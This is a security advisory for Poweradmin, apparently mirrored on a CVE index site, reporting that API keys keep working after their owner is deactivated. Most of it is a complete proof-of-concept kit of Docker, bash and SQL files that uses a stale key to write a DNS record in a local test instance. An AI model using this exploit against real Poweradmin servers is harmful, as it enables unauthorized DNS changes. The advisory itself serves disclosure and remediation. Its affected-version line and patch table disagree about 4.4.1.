GHSA-9VWV-2J5C-GM3G
API keys retain user permissions after the key owner is deactivated
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-9VWV-2J5C-GM3G divulgada · CVSS 5.3 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
API keys retain user permissions after the key owner is deactivated
Submission metadata
- Repository: `poweradmin/poweradmin`
- Package: ecosystem `other`, name `poweradmin`
- Affected version range: `= 4.4.1`
- Verified revision: `7a790094d4e7726552ab861e42cbcb77e52fdaef` on 30 August 2026
- Release limitation: the verified post-release source identifies as 4.4.1; no published 4.4.1 artifact was reproduced
- Delivery state: local report only; not submitted
Summary
Deactivating a Poweradmin user does not revoke or suspend API keys created by that user. API-key authentication checks only the key's own disabled and expiry fields, resolves the stale `created_by` user ID, and authorization continues to load that inactive user's former permissions and zone ownership without checking `users.active`.
Impact and affected scope
- Type: improper authorization / missing revocation check
- Preconditions: possession of an API key issued to a user who is later deactivated
- Verified impact: the inactive former zone editor can create an authoritative DNS record inside the user's prior zone scope
The key does not gain broader privileges; it retains the deactivated user's former scope.
Technical details
Password authentication rejects the account after deactivation, but `ApiKeyService` and `ApiPermissionService` authorize a key whose owner is inactive. The verified negative control sets `api_keys.disabled=1`, after which the same request is rejected and no record is created.
Public duplicate review on 30 August 2026 covered current advisories, issues, pull requests, releases/changelog and public CVE/GHSA records for API-key revocation, inactive users and stale permissions. No equivalent public item was found; absence of a result is not proof of novelty.
Reproduction
Run only in an authorized disposable environment with Git and Docker. The fixture uses a disposable SQLite database and reserved example/test addresses.
Create `reproduction/Dockerfile`:
FROM wordpress:6.8.2-php8.2-apache
RUN apt-get update \
&& apt-get install -y --no-install-recommends curl sqlite3 \
&& docker-php-ext-install gettext \
&& rm -rf /var/lib/apt/lists/*
COPY container_reproduce.sh seed.sql settings.php /reproduction/
RUN chmod 0755 /reproduction/container_reproduce.sh
ENTRYPOINT ["/reproduction/container_reproduce.sh"]Create `reproduction/container_reproduce.sh`:
#!/usr/bin/env bash
set -euo pipefail
TARGET_REPO="/target-repo"
APP_DIR="/tmp/poweradmin"
DB_FILE="/tmp/poc-poweradmin.sqlite"
CONFIG_FILE="/tmp/poc-settings.php"
SERVER_LOG="/tmp/poweradmin-server.log"
EDITOR_USER="zone-editor"
EDITOR_PASSWORD="AttackerPass123!"
ADMIN_KEY="pwa_poc_admin_setup_key"
STALE_KEY="pwa_poc_stale_editor_key"
PROOF_NAME="takeover.victim.example"
PROOF_VALUE="203.0.113.77"
SUCCESS_SIGNAL="POC_SUCCESS inactive user API key created ${PROOF_NAME} A ${PROOF_VALUE} after deactivation"
if [[ ! -f "${TARGET_REPO}/index.php" ]]; then
echo "[-] The target repository was not mounted at ${TARGET_REPO}" >&2
exit 1
fi
cp -a "${TARGET_REPO}" "${APP_DIR}"
rm -rf "${APP_DIR}/install"
sqlite3 "${DB_FILE}" < "${APP_DIR}/sql/pdns/49/schema.sqlite3.sql"
sqlite3 "${DB_FILE}" < "${APP_DIR}/sql/poweradmin-sqlite-db-structure.sql"
sqlite3 "${DB_FILE}" < /reproduction/seed.sql
cp /reproduction/settings.php "${CONFIG_FILE}"
initial_state="$(sqlite3 "${DB_FILE}" "SELECT u.active || ':' || k.disabled || ':' || z.owner FROM users u JOIN api_keys k ON k.created_by=u.id JOIN zones z ON z.domain_id=1 WHERE u.id=11 AND k.id=2;")"
permission_state="$(sqlite3 "${DB_FILE}" "SELECT GROUP_CONCAT(pi.name, ',') FROM perm_templ_items pti JOIN perm_items pi ON pi.id=pti.perm_id WHERE pti.templ_id=3 ORDER BY pi.name;")"
if [[ "${initial_state}" != "1:0:11" ]]; then
echo "[-] Invalid initial state: ${initial_state}" >&2
exit 1
fi
if [[ "${permission_state}" != *"zone_content_edit_own_as_client"* || "${permission_state}" == *"user_is_ueberuser"* ]]; then
echo "[-] Invalid editor permissions: ${permission_state}" >&2
exit 1
fi
echo "[+] Fixture: editor user=11 active=1 key_disabled=0 zone_owner=11"
echo "[+] Fixture: editor permissions=${permission_state}"
export PA_CONFIG_PATH="${CONFIG_FILE}"
(
cd "${APP_DIR}"
php -S 127.0.0.1:8080 -t "${APP_DIR}" "${APP_DIR}/index.php" >"${SERVER_LOG}" 2>&1
) &
SERVER_PID=$!
cleanup() {
kill "${SERVER_PID}" 2>/dev/null || true
wait "${SERVER_PID}" 2>/dev/null || true
}
trap cleanup EXIT
server_ready=false
for _ in $(seq 1 40); do
if curl --silent --fail http://127.0.0.1:8080/login >/tmp/login-page.html; then
server_ready=true
break
fi
sleep 0.25
done
if [[ "${server_ready}" != "true" ]]; then
echo "[-] Application did not become ready" >&2
cat "${SERVER_LOG}" >&2
exit 1
fi
baseline_basic_status="$(curl --silent --show-error \
--output /tmp/basic-before.json --write-out '%{http_code}' \
--user "${EDITOR_USER}:${EDITOR_PASSWORD}" \
http://127.0.0.1:8080/api/v2/zones/1/records)"
if [[ "${baseline_basic_status}" != "200" ]]; then
echo "[-] Baseline Basic authentication failed: HTTP ${baseline_basic_status}" >&2
cat /tmp/basic-before.json >&2
cat "${SERVER_LOG}" >&2
exit 1
fi
echo "[+] Baseline control: Basic authentication while active => HTTP ${baseline_basic_status}"
deactivate_status="$(curl --silent --show-error \
--output /tmp/deactivate.json --write-out '%{http_code}' \
--request PUT \
--header "X-API-Key: ${ADMIN_KEY}" \
--header 'Content-Type: application/json' \
--data '{"active":false}' \
http://127.0.0.1:8080/api/v2/users/11)"
if [[ "${deactivate_status}" != "200" ]] || ! grep -Fq '"success":true' /tmp/deactivate.json; then
echo "[-] Administrative HTTP deactivation failed: HTTP ${deactivate_status}" >&2
cat /tmp/deactivate.json >&2
cat "${SERVER_LOG}" >&2
exit 1
fi
echo "[+] Deactivation: admin PUT /api/v2/users/11 active=false => HTTP ${deactivate_status}"
post_deactivation_state="$(sqlite3 "${DB_FILE}" "SELECT u.active || ':' || k.disabled FROM users u JOIN api_keys k ON k.created_by=u.id WHERE u.id=11 AND k.id=2;")"
if [[ "${post_deactivation_state}" != "0:0" ]]; then
echo "[-] Deactivation/key-state oracle failed: ${post_deactivation_state}" >&2
exit 1
fi
echo "[+] State oracle: users.active=0 api_keys.disabled=0"
inactive_basic_status="$(curl --silent --show-error \
--output /tmp/basic-after.json --write-out '%{http_code}' \
--user "${EDITOR_USER}:${EDITOR_PASSWORD}" \
http://127.0.0.1:8080/api/v2/zones/1/records)"
if [[ "${inactive_basic_status}" != "401" ]]; then
echo "[-] Active-state Basic-auth control unexpectedly returned HTTP ${inactive_basic_status}" >&2
cat /tmp/basic-after.json >&2
exit 1
fi
echo "[+] Active-state control: same Basic credentials after deactivation => HTTP ${inactive_basic_status}"
exploit_status="$(curl --silent --show-error \
--output /tmp/exploit.json --write-out '%{http_code}' \
--request POST \
--header "X-API-Key: ${STALE_KEY}" \
--header 'Content-Type: application/json' \
--data '{"name":"takeover","type":"A","content":"203.0.113.77","ttl":300,"priority":0,"disabled":false}' \
http://127.0.0.1:8080/api/v2/zones/1/records)"
if [[ "${exploit_status}" != "201" ]] || ! grep -Fq '"success":true' /tmp/exploit.json; then
echo "[-] Stale API-key record write failed: HTTP ${exploit_status}" >&2
cat /tmp/exploit.json >&2
cat "${SERVER_LOG}" >&2
exit 1
fi
echo "[+] Exploit: inactive editor API key POST /api/v2/zones/1/records => HTTP ${exploit_status}"
mutation_oracle="$(sqlite3 "${DB_FILE}" "SELECT name || '|' || type || '|' || content || '|' || ttl FROM records WHERE domain_id=1 AND name='${PROOF_NAME}' AND type='A';")"
if [[ "${mutation_oracle}" != "${PROOF_NAME}|A|${PROOF_VALUE}|300" ]]; then
echo "[-] Expected authoritative DNS mutation was not stored: ${mutation_oracle}" >&2
cat /tmp/exploit.json >&2
exit 1
fi
echo "[+] Mutation oracle: ${mutation_oracle}"
sqlite3 "${DB_FILE}" "UPDATE api_keys SET disabled=1 WHERE id=2;"
key_control_status="$(curl --silent --show-error \
--output /tmp/key-disabled.json --write-out '%{http_code}' \
--request POST \
--header "X-API-Key: ${STALE_KEY}" \
--header 'Content-Type: application/json' \
--data '{"name":"blocked","type":"A","content":"203.0.113.88","ttl":300}' \
http://127.0.0.1:8080/api/v2/zones/1/records)"
blocked_count="$(sqlite3 "${DB_FILE}" "SELECT COUNT(*) FROM records WHERE domain_id=1 AND name='blocked.victim.example';")"
if [[ "${key_control_status}" != "401" || "${blocked_count}" != "0" ]]; then
echo "[-] Key-disabled control failed: HTTP ${key_control_status}, blocked_count=${blocked_count}" >&2
cat /tmp/key-disabled.json >&2
exit 1
fi
echo "[+] Key-state control: same API key with api_keys.disabled=1 => HTTP ${key_control_status}; blocked_record_count=${blocked_count}"
echo "${SUCCESS_SIGNAL}"Create `reproduction/run.sh`:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
FINDING_PARENT="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${FINDING_PARENT}")" == "artifacts" ]]; then
SESSION_DIR="$(cd "${FINDING_PARENT}/.." && pwd)"
else
SESSION_DIR="${FINDING_PARENT}"
fi
CASE_ID="$(basename "${SESSION_DIR}" | tr '[:upper:]_' '[:lower:]-' | tr -cd 'a-z0-9-')"
FINDING_NAME="$(basename "${FINDING_DIR}" | tr '[:upper:]_' '[:lower:]-' | tr -cd 'a-z0-9-')"
IMAGE_TAG="poc-${CASE_ID}-${FINDING_NAME}"
TARGET_URL="https://github.com/poweradmin/poweradmin.git"
TARGET_COMMIT="7a790094d4e7726552ab861e42cbcb77e52fdaef"
WORK_DIR="$(mktemp -d "${SESSION_DIR}/.poc-inactive-api-key.XXXXXX")"
CHECKOUT_DIR="${WORK_DIR}/poweradmin"
cleanup() {
rm -rf "${WORK_DIR}"
}
trap cleanup EXIT
echo "[+] Cloning ${TARGET_URL}"
git clone --quiet --filter=blob:none --depth 1 --no-checkout "${TARGET_URL}" "${CHECKOUT_DIR}"
if ! git -C "${CHECKOUT_DIR}" cat-file -e "${TARGET_COMMIT}^{commit}" 2>/dev/null; then
git -C "${CHECKOUT_DIR}" fetch --quiet --depth 1 origin "${TARGET_COMMIT}"
fi
git -C "${CHECKOUT_DIR}" sparse-checkout init --cone
git -C "${CHECKOUT_DIR}" sparse-checkout set assets config data lib sql templates vendor
git -C "${CHECKOUT_DIR}" -c advice.detachedHead=false checkout --quiet --detach "${TARGET_COMMIT}"
ACTUAL_COMMIT="$(git -C "${CHECKOUT_DIR}" rev-parse HEAD)"
if [[ "${ACTUAL_COMMIT}" != "${TARGET_COMMIT}" ]]; then
echo "[-] Checked out ${ACTUAL_COMMIT}, expected ${TARGET_COMMIT}" >&2
exit 1
fi
echo "[+] Building ${IMAGE_TAG}"
docker build --quiet --tag "${IMAGE_TAG}" "${SCRIPT_DIR}" >/dev/null
echo "[+] Exercising inactive-account API-key authorization at ${TARGET_COMMIT}"
docker run --rm \
--mount "type=bind,src=${CHECKOUT_DIR},dst=/target-repo,readonly" \
"${IMAGE_TAG}"Create `reproduction/seed.sql`:
INSERT INTO users (
id, username, password, fullname, email, description,
perm_templ, perm_templ_source, active, use_ldap, auth_method
) VALUES
(
10,
'fixture-admin',
'$2y$04$z0taA62f47h1.DB50Bx/y.YzAQy5VB2Nf9HTGhDHr164Y.zfYg6nC',
'Fixture Administrator',
'admin@example.test',
'Administrative setup identity',
1,
'admin',
1,
0,
'sql'
),
(
11,
'zone-editor',
'$2y$04$z0taA62f47h1.DB50Bx/y.YzAQy5VB2Nf9HTGhDHr164Y.zfYg6nC',
'Low Privilege Zone Editor',
'editor@example.test',
'Own-zone record editor',
3,
'admin',
1,
0,
'sql'
);
INSERT INTO api_keys (id, name, secret_key, created_by, disabled, expires_at)
VALUES
(1, 'fixture-admin-key', 'pwa_poc_admin_setup_key', 10, 0, NULL),
(2, 'zone-editor-key', 'pwa_poc_stale_editor_key', 11, 0, NULL);
INSERT INTO domains (id, name, type)
VALUES (1, 'victim.example', 'NATIVE');
INSERT INTO zones (id, domain_id, owner, comment, zone_templ_id, zone_name, zone_type)
VALUES (
1,
1,
11,
'Victim-relevant authoritative DNS zone owned by the deactivated editor',
0,
'victim.example',
'NATIVE'
);
INSERT INTO records (id, domain_id, name, type, content, ttl, prio, disabled, auth)
VALUES
(
1,
1,
'victim.example',
'SOA',
'ns1.victim.example hostmaster.victim.example 2026083001 10800 3600 604800 3600',
3600,
0,
0,
1
),
(2, 1, 'victim.example', 'NS', 'ns1.victim.example', 3600, 0, 0, 1),
(3, 1, 'ns1.victim.example', 'A', '192.0.2.53', 3600, 0, 0, 1);Create `reproduction/settings.php`:
<?php
return [
'database' => [
'type' => 'sqlite',
'file' => '/tmp/poc-poweradmin.sqlite',
'pdns_db_name' => '',
],
'security' => [
'session_key' => 'poc-inactive-api-key-reproduction-2026',
'password_encryption' => 'bcrypt',
'password_cost' => 4,
],
'interface' => [
'language' => 'en_EN',
'enabled_languages' => 'en_EN',
'application_url' => 'http://127.0.0.1:8080',
],
'misc' => [
'display_errors' => false,
],
'api' => [
'enabled' => true,
'basic_auth_enabled' => true,
'docs_enabled' => false,
],
'logging' => [
'database_enabled' => true,
'syslog_enabled' => false,
'type' => 'null',
],
];From the directory containing `reproduction/`:
chmod +x reproduction/run.sh reproduction/container_reproduce.sh
./reproduction/run.shExpected: deactivating the user should make both password credentials and all keys owned by that user unusable for authorization.
Observed: Basic authentication changes from HTTP 200 to 401 after deactivation, while the retained API key creates `takeover.victim.example A 203.0.113.77` with HTTP 201. Disabling the key itself changes the same request to HTTP 401. The verifier prints `POC_SUCCESS inactive user API key created takeover.victim.example A 203.0.113.77 after deactivation`.
Suggested remediation
Require the key owner's current active state during API-key authentication and authorization, and transactionally revoke or disable all of a user's keys during deactivation. Add tests covering scoped reads and mutations after owner deactivation, expiry, and explicit key disablement.
Severity
CVSS v4.0: 5.3 (Medium) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
This assessment is preliminary and pending maintainer confirmation. The score was recalculated against FIRST's CVSS v4.0 calculator on 30 August 2026.
Disclosure context and attribution
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
https://github.com/Zyy0530 - Liyi Zhou (@lzhou1110)
https://github.com/lzhou1110 - Strick Sheng (@Str1ckl4nd)
https://github.com/Str1ckl4nd - Maurice Ng (@mauriceng98)
https://github.com/mauriceng98 - Chenchen Yu (@7thParkk)
https://github.com/7thParkk
We are happy to answer questions or validate a candidate patch.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 4.2.6, 4.3.5, 4.4.1 | — | — |
4.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-9vwv-2j5c-gm3gLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
